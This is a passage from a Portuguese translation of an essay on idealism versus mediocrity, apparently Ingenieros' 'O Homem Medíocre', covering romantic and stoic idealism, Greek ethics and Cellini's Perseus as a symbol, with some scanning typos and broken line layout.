queimaria George Sand, e a própria Teresa de Ávila parecer-lhe-ia
um pouco exagerada. Persigna-se, se alguém supõe que Cristo pode amar a pecadora
Madalena.
Crê firmemente que
Werther, Jocelyn, Mimi,
Rola e Manon
são
símbolos do mal, criados pela imaginação de artistas en-fermos. Aborrece a
paixão profunda e sentida; detesta os
romanticismos sentimentais.
Prefere a
compra tranqüila,
à conquista
comprometedora. Ignora as supremas virtudes do amor, que é sonho, anelo,
perigo, toda
a imaginação
concorrendo para
o embelezamento
do
instinto, e não
simples
vertigem
brutal
dos sentidos.

*
* *

Nas épocas de depressão,
quando a
mediocridade
está
no seu
apogeu, os
idealistas se enfileiram
contra
os dogmatismos sociais,
seja qual fôr o regime dominante. Algumas vezes, em nome do
romanticismo político,
agitam um ideal democrático e humano. Seu amor, todos os que sofrem, é justa
animosidade contra os que oprimem a sua própria individualidade. Dir-se-ia que
chegam até a amar as vítimas, para protestar contra o verdugo indigno; mas
ficam sempre fora de toda hoste, sabendo que nela se pode incubar uma canga
para o porvir.

Em tudo o que é perceptível, cabe um
romantismo; sua orientação varia com os tempos e com as inclinações. Há
épocas em que mais floresce, como nas horas de reação que se seguiram
à arrancada libertária da revolução francesa. Alguns românticos jugúlam-se
providenciais, e a sua imaginação se revela por um misticismo construtivo, como
em Furier e Lamennais, precedidos por Rousseau, que foi um Marx calvinista, e
seguidos por Marx, que foi um Rosseau judeu. Em outroi, o lirismo tende, como
em Byron e em Ruskin, a converter-se
em
religião estética. Em Mazzini e em Koussouth, toma côr política. Fala em tom
profético, e transcende pela boca de Lamartine e de
Hugo. Em Stendhal,
acossa
com ironia os dogmatismos sociais, e, em Vigny, desdenha-os, amargamente. Queixa-se de
Mus-set e se desespera com Amiel. Fustiga a mediocridade com Flaubert e Barbey
d’Aurevilly.
E,
em outros, converte-se
em rebelião aberta, contra tudo que dimi-nue e domestica o
indivíduo, com Emerson, Etirner, Guayau, Ibsen ou Nietzsche.

 

V — O idealismo estóico

 

As rebeldías românticas são embotadas
pela experiência;
esta
refreia
muitas impetuosidades
falazes,
e

aos ideais uma firmeza sólida. As lições da realidade não matam o idealista: educam-no. Sua
ânsia de perfeição se toma mais centrípeta e digna, busca os caminhos propícios,
aprende a passar por cima das ciladas que a mediocridade arma.

Quando
a força das coisas se sobrepõe à sua inquietude pessoal, e os dogmáticos
sociais coíbem seus esforços no sentido de as corrigir, o seu idealismo se torna experimental. Não pode sujeitar a
realidade aos seus ideais, mas os defende contra ela, procurando isentá-lo de
toda diminuição ou envilecimento. O que antes se projetava para
fora, polariza-se
no
próprio esforço, in-terioriza-se.

"Uma
grande vida —
escreveu
Vigny —
é
um Ideal da juventude realizado na idade madura".

É inerente à primeira a alusão de
impor seus sonhos,
rompendo
as barreiras que a realidade lhes opõe; quando a experiência adverte que a mole
não se des-

morona, o
idealista entrincheira-se
em
virtudes intrínsecas, custodiando seus
ideais, realizando-os até certo ponto, sem que a solidariedade possa
conduzí-lo a tôr-pes   cumplicidades.

 O
Idealismo
sentimental e rom ântico se transforma em idealismo
experimental e estóico; a experiência re-guia a imaginação, tornando-o ponderado
e reflexivo. A serena
harmonia
clássica substitue a pujança impetuo-sa; o idealismo dionisíaco se
converte em Idealismo apolíneo,

É natural que assim seja. Os
romancistas não
resistem à experiencia
crítica: si persistem
ainda depois de
passados
os
limites da juventude,
seu ardor
n ão
se
equivale à
sua eficiência. A avançada idade em que D. Quixote empreende a
busca da sua quimera, é um erro de Cervantes… É mais
lógico D. Juan
casando-se
à mesma altura em que Cristo morre; as personagens que Murger criou, na vida
boêmia, se detêm nesse limbo da madureza. Não pode ser de
outra maneira. A acumulação dos contrastes acaba por coordenar a imaginação,
orientando-a, sem rebaixá-la.

E se o idealista é uma mentalidade superior, seu
ideal assume formas definitivas: plasma a Verdade, a Beleza ou a Virtude, em crisóis
mais
perenes, tende a fixar-se e a persistir em obras. O tempo o consagra, e, o seu
esforço se torna exemplar. A prosperidade julga-o clássico. Todo classicismo
provém
de uma seleção natural entre idéias que foram a seu tempo românticas, e que
sobrevivem através dos séculos.

*
* *

Poucos sonhadores encontram tal clima e tal ocasião,
para lhe exaltar a genialidade. A maioria torna-se exótica e inoportuna; os
acontecimentos, cujo determinismo não pode modificar, esterilizam seus
reforços. Daí resulta certa aquiescência às coisas que não dependem do próprio
mérito, a tolerância de toda fatalidade inevitável. A sentir a coerção
exterior,
certos indivíduos não se abaixam, nem se contaminam: apartam-se, refugiam-se
em si mesmos, para se elevarem a um extremo, de onde contemplam o arroio lamacento que
corre murmurando, sem que, no seu murmura, se ouça um grito. São os juízes de sua época:
vem de onde vem e como corre o turbilhão enlameado. Descobrem os relapsos que
se deixam empanar
pelo
limo, os que procuram os enaltecimentos falazes, contendentes
com o mérito e com a justiça.

O idealista estóico se mantém
hostil ao seu meio, como o romântico. Sua atitude é de aberta resistência à mediocridade
organizada, de resignação desdenhosa ou de renúncia
altiva, sem compromissos. Pouco lhe importa agredir o mal que os outros
consentem; prefere estar livre, para realizar toda perfeição que só dependa do
seu próprio esforço. Adquire uma "sensibilidade individualista", que
não é egoismo vulgar, nem desinteresse pelos ideais que agitam a sociedade em
que vive.

São notórias as diferenças entre o
individualismo doutrinário e o sentimento individualista; um é teoria, outro é
atitude. Em Spencer,
a
doutrina individualista é acompanhada de sensibilidade social; em Bakounine,
a
doutrina social coexiste com uma sensibilidade individualista. É questão de
temperamento, não de idéias; aquele é a base do caráter.

Todo individualismo, como atitude, é
uma revolta contra os dogmas e os valores falsos,
respeitados pelas mediocracias; revela energias ansiosas de expansão, con-tidas
por mil obstáculos opostos pelo espírito gregário O
temperamento individualista chega a negar o prin-cípio de autoridade,
subtrai-se aos preconceitos, desaca-ta qualquer imposição, desdenha as
hierarquias independentes do
mérito. Os partidos, as seitas e as facções são, para éle, coisa
igualmente indiferentes, enquanto não descobre nelas
ideais que tenham consonância com

os seus próprios. Crê
mais nas virtudes firmes dos ho-mens do que na mentina escrita dos princípios
teóricos; enquanto
não se
refletem nos costumes, as melhores leis de papel não modificam as tolices dos
que as suportam.

***


ética
do
idealista estóico
difere
radicalmente desses   individualismos sórdidos que recrutam as simpatias
dos egoístas. Duas
morais essencialmente distintas podem nascer da
estimação de si mesmo. O digno elege a elevada, a de
Zenão
ou a
de Epicuro;
o
mediocre opta sempre
pela
inferior, e se encontra
com Aristipo. Aquela se refugia em si, para acrisolar-se; este se ausenta da
maioria, para deslizar na sombra. O individualismo é nobre, si um ideal o
alimenta e o eleva; sem ideal, é uma queda a um nível mais baixo do que a
própria mediocridade.

Na Cirenaica grega, quatro séculos
antes do evo cristão, Aristipo anunciou que a única regra da vida era o prazer
máximo, obtido por todos os meios, como se a natureza ditasse ao homem a
saciedade dos sentidos e a ausência do ideal. A sensualidade, erigida em
sistema, conduzida ao prazer tumultuoso, sem seleção. Os cirenáicos chegaram
a desprezar a própria vida; seus últimos apregoadores elogiaram o suicídio.
Esta ética, praticada instintivamente pelos céticos e pelos depravadores
de
todos os tempos, não foi lealmente erigida em sistema depois de então. O
prazer —
como
simples sensualidade quantitativa — é absurdo e imprevidente;
não pode sustentar uma moral. Seria guindar os sentidos à categoria de juízes.

Estaria a felicidade na consecução de
um interesse bem ponderado?

Um egoísmo prudente e quantitativo,
que elegesse e calculasse, substituiria os apetites cegos. Ao invés do prazer
espesso, ter-se-ia o deleite requintado, que prevê, coordena, prepara, goza
antes e infinitamente mais, pois a inteligência gosta de centuplicar os gozos
futuros com sábias alquimias de preparação. Os epi-cureus já
se apartam do cirenaísmo. Aristipo colocava a dita nos grosseiros gozos
materiais; Epicuro exalta-a
na
mente, idealiza-a
pela
imaginação. Para aquele, valem todos os prazeres, conseguidos por todos os
meios, desabridos,
sem
freio; para este, devem ser recolhidos e dignificados por um cunho de harmonia.
A moral origin ária de Epicuro é toda requinte; seu criador viveu
uma vida respeitável e pura. Sua lei foi buscar a felicidade e fugir à dôr,
dando preferência às coisas que deixam um saldo a favor da primeira. Esta aritmética
das emoções não é incompatível com a dignidade, com o engenho e com a virtude,
que são perfeições
ideais;
permite cultiv á-las, se nelas pode encontrar-se uma fonte de prazer.

*
* *

Ê em outra moral helénica, sem dúvida,
onde o idealismo experimental encontra os seus moldes perfeitos. Zenão deu à
humanidade uma suprema doutrina de virtude heróica. A dignidade se identifica
com o ideal: a história não conhece exemplos mais belos de conduta. Séneca,
digno
na corte do próprio Nero, além de pregar, com arte
requintada, a sua doutrina, aplicou-a, com esplêndida coragem, na
hora extrema. Somente Sócrates morreu melhor do que êle, e ambos morreram mais
dignamente do que Jesus. São estas as três grandes mortes da história.

A dignidade estóica teve o seu
apóstolo em Epíteto.
Uma
convincente eloquência
de
sofista caldeava
a
sua palavra de liberto. Viveu como o mais humilde, satisfeito com o que tinha,
dormindo em casa sem portas, entregue
ao trabalho de meditar e de educar, até o dia do decreto que
proscreveu de Roma os filósofos. Ensinou a
distinguir, em todas as coisas, o que depende e o que não depende de
nós. Os primeiros, ninguém pode coibir; o resto está subordinado a forças
estranhas. Colocar o ideal no que depende de nós, e se indiferentes a tudo o mais: eis aí uma
fórmula para o idealismo experimental. 

 

É desdenhável tudo o
que o egoísta pode desejar
ou temer.
Se as resistências,
no
caminho
da
perfeição,
dependem de
outros,
convém fazer delas um caso omisso, como se não existissem e redobrar o esforço
enaltecedor.
Nenhum
contratempo material desvia o Idealista. Se desejesse influir, de imediato,
sobre coisas que não dependem dele, encontraria obstáculos por toda a parte;
contra essa hostilidade de seu ambiente, só pode rebelar-se com a imaginação,
olhando cada vez mais em direção ao seu interior. O que serve um ideal, vive
dele; nada o forçará a sonhar o que não quer, nem o impedirá de ascender até
seu sonho.

 

***

Esta moral não é uma contemplação
passiva: apenas renuncia a participar do mal. Seu assentimento ao inevitável
não é apatia, nem inércia. Apartar-se não é morrer; é, simplesmente, esperar a
possível hora de agir, apressando-a com a prédica ou com o
exemplo. Em chegando a hora, pode ser afirmação sublime, como foi para Marco
Aurélio, nunca igualado em reger destinos de povos: só êle é que pode inspirar
as páginas mais profundas de Renan, e as mais líricas de Paul de Saint
Victor. Delicado
e penetrante, seu estoicismo
foi
mais propício para temperar caracteres, do que para consolar corações. O
pensamento antigo alcançou, com êle, a sua mais tranqüila nobreza. Entre
perversos e ingratos que o circundavam, ensinou a dar seus racimos,
como
a vinha, sem reclamar preço algum, preparando-se para carregar outros, na vindima
futura.

Os idealistas estóicos são homens de
sua estirpe: dir-se-ia que ignoram o bem que fazem aos seus próprios inimigos.

Quando aumenta a torrente dos domesticados,
quando
mais sufocante se torna o clima das mediocridades, eles criam um
novo ambiente moral, semeando ideais: uma nova geração, aprendendo a amá-los,
enobrecendo-os.

Em face das burguesias febricitantes
para
atingir o nível do bem-estar material — ignorando que a sua maior miséria é a
falta de cultura — eles concentram seus esforços para aquilatar o respeito das
coisas do espírito e o culto de todas as originalidades preeminentes.
Enquanto
a obscuridade
obstrói
os caminhos do gênio, da santidade e do heroísmo, eles aparecem para restituí-los,
mediante
a sugestão de ideais, preparando o    advento dessas
horas fecundas que caracterizam a ressurreição
das raças: o clima do gênio.

*
* *

Toda ética idealista
transforma os valores, e eleva a categoria do mérito; as virtudes e os vícios
trocam seus matizes, para mais ou para menos, criando equilíbrios novos. Esta é,
no fundo, a obra dos moralistas; e sua originalidade está nas mudanças de tom
que modificam as perspectivas de um quadro cujo fundo é quase impermutável. Em
face da chatice comum, que impele a ser vulgar, os caracteres dignos
afirmam com veemência o seu ideal. Uma mediocracia sem ideais — como um
indivíduo, ou um grupo — é vil, cética, covarde: contra ela
cultivam profundos anelos de perfeição. Diante da
ciência tornada ofício, a Verdade como um culto; diante da honestidade de
conveniência, a    Virtude
desinteressada; diante da arte lucrativa dos funcionários, a Harmonia imarcescível
da
linha, da fore ma e da côr;
diante das cumplicidades da política me-diocrática, as máximas
expansões do indivíduo, dentro de
cada sociedade.

Quando os povos se domesticam e calam, os
gran- dos criadores de ideais levantam a sua voz. Uma
ciência, uma arte, um país, uma raça, estremecidos pelo seu
eco, podem sair do seu curso habitual. O Gênio é um guião que o destino põe
entre dois parágrafos da história. Se aparece nas origens, cria e funda; se aparece
nos ressurgimentos, transforma ou exorbita. Nesse instante, retomam seu vôo
todos os espíritos superiores, adestrando-se e temperando-se em pensamentos
latos, para obras perenes.

 

VI — Símbolo

No vai-e-vem eterno das éras, o porvir é sempre
dos visionários. A interminável contenda entre o idealismo e a mediocridade
tem seu símbolo: Cellini
não
pode encravá-la em lugar mais digno do que a maravilhosa praça de Florença.
Nunca
mão alguma de ourives plasmou conceito mais sublime: Perseu, exibindo a cabeça
de Medusa, cujo corpo se agita em contorções de réptil sob
seus pés alados. Quando os temperamentos idealistas se detêm diante do prodígio
de Benevenuto,
anima-se
o metal, revive a sua fisionomia, seus lábios parecem articular palavras
perceptíveis…

E diz aos
jovens que toda
luta,
em prol
de
um ideal, é santa, ainda que o resultado seja ilusório; que é louvável seguir o
seu temperamento, e pensar com o coração, se isso puder contribuir para a
criação de uma personalidade firme; que todo germe de romantismo deve ser
alimentado, para engrinaldar
de
aurora a única primavera que não volta nunca.

E os maduros,
cujas primeiras cãs
salpicam
de outono as suas mais veementes quimeras, instigam a custodiar seus ideais,
sob o pálio
da
mais severa dignidade, em face das tentações que conspiram para enlameá-los
no Estige, onde se abismam os medíocres.

E, no gesto de bronze, é como se o Idealismo decapitasse
a Mediocridade, entregando sua cabeça ao juízo dos séculos.

 Fonte: Livraria Paratodos, 1953

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